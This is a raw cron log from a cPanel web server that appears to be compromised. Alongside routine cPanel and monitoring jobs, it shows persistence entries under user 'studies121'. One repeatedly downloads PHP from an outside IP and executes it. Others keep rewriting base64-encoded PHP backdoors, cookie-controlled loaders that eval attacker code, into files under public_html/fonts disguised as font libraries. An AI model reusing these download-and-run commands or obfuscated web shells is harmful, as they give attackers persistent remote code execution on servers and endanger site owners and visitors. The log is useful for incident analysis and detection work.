Aug 31 11:27:01 ip-184-168-122-23 CROND[21134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:28:01 ip-184-168-122-23 CROND[21246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:28:01 ip-184-168-122-23 CROND[21250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:28:01 ip-184-168-122-23 CROND[21251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:28:01 ip-184-168-122-23 CROND[21249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:28:01 ip-184-168-122-23 CROND[21248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:29:01 ip-184-168-122-23 CROND[21345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:29:01 ip-184-168-122-23 CROND[21347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:29:01 ip-184-168-122-23 CROND[21349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:29:01 ip-184-168-122-23 CROND[21348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:30:01 ip-184-168-122-23 CROND[21532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:30:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:30:01 ip-184-168-122-23 CROND[21542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:30:01 ip-184-168-122-23 CROND[21544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:30:01 ip-184-168-122-23 CROND[21541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:30:01 ip-184-168-122-23 CROND[21540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:30:01 ip-184-168-122-23 CROND[21543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:30:01 ip-184-168-122-23 CROND[21545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:31:01 ip-184-168-122-23 CROND[21659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:31:01 ip-184-168-122-23 CROND[21660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:31:01 ip-184-168-122-23 CROND[21661]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:31:01 ip-184-168-122-23 CROND[21662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:31:01 ip-184-168-122-23 CROND[21664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:32:01 ip-184-168-122-23 CROND[21767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:32:01 ip-184-168-122-23 CROND[21769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:32:01 ip-184-168-122-23 CROND[21770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:32:01 ip-184-168-122-23 CROND[21771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:32:01 ip-184-168-122-23 CROND[21772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:33:01 ip-184-168-122-23 CROND[21884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:33:01 ip-184-168-122-23 CROND[21885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:33:01 ip-184-168-122-23 CROND[21886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:33:01 ip-184-168-122-23 CROND[21888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:34:01 ip-184-168-122-23 CROND[21994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:34:01 ip-184-168-122-23 CROND[21995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:34:01 ip-184-168-122-23 CROND[21996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:34:01 ip-184-168-122-23 CROND[21997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:34:01 ip-184-168-122-23 CROND[22002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:35:01 ip-184-168-122-23 CROND[22119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22123]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:35:01 ip-184-168-122-23 CROND[22121]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 11:36:01 ip-184-168-122-23 CROND[22336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:36:01 ip-184-168-122-23 CROND[22340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:36:01 ip-184-168-122-23 CROND[22338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:36:01 ip-184-168-122-23 CROND[22339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:36:01 ip-184-168-122-23 CROND[22341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:37:01 ip-184-168-122-23 CROND[22455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:37:01 ip-184-168-122-23 CROND[22456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:37:01 ip-184-168-122-23 CROND[22457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:37:01 ip-184-168-122-23 CROND[22458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:38:02 ip-184-168-122-23 CROND[22556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:38:02 ip-184-168-122-23 CROND[22558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:38:02 ip-184-168-122-23 CROND[22559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:38:02 ip-184-168-122-23 CROND[22560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:38:02 ip-184-168-122-23 CROND[22561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:39:01 ip-184-168-122-23 CROND[22669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:39:01 ip-184-168-122-23 CROND[22670]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 11:39:01 ip-184-168-122-23 CROND[22671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:39:01 ip-184-168-122-23 CROND[22672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:39:01 ip-184-168-122-23 CROND[22673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:40:01 ip-184-168-122-23 CROND[22791]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:40:01 ip-184-168-122-23 CROND[22796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
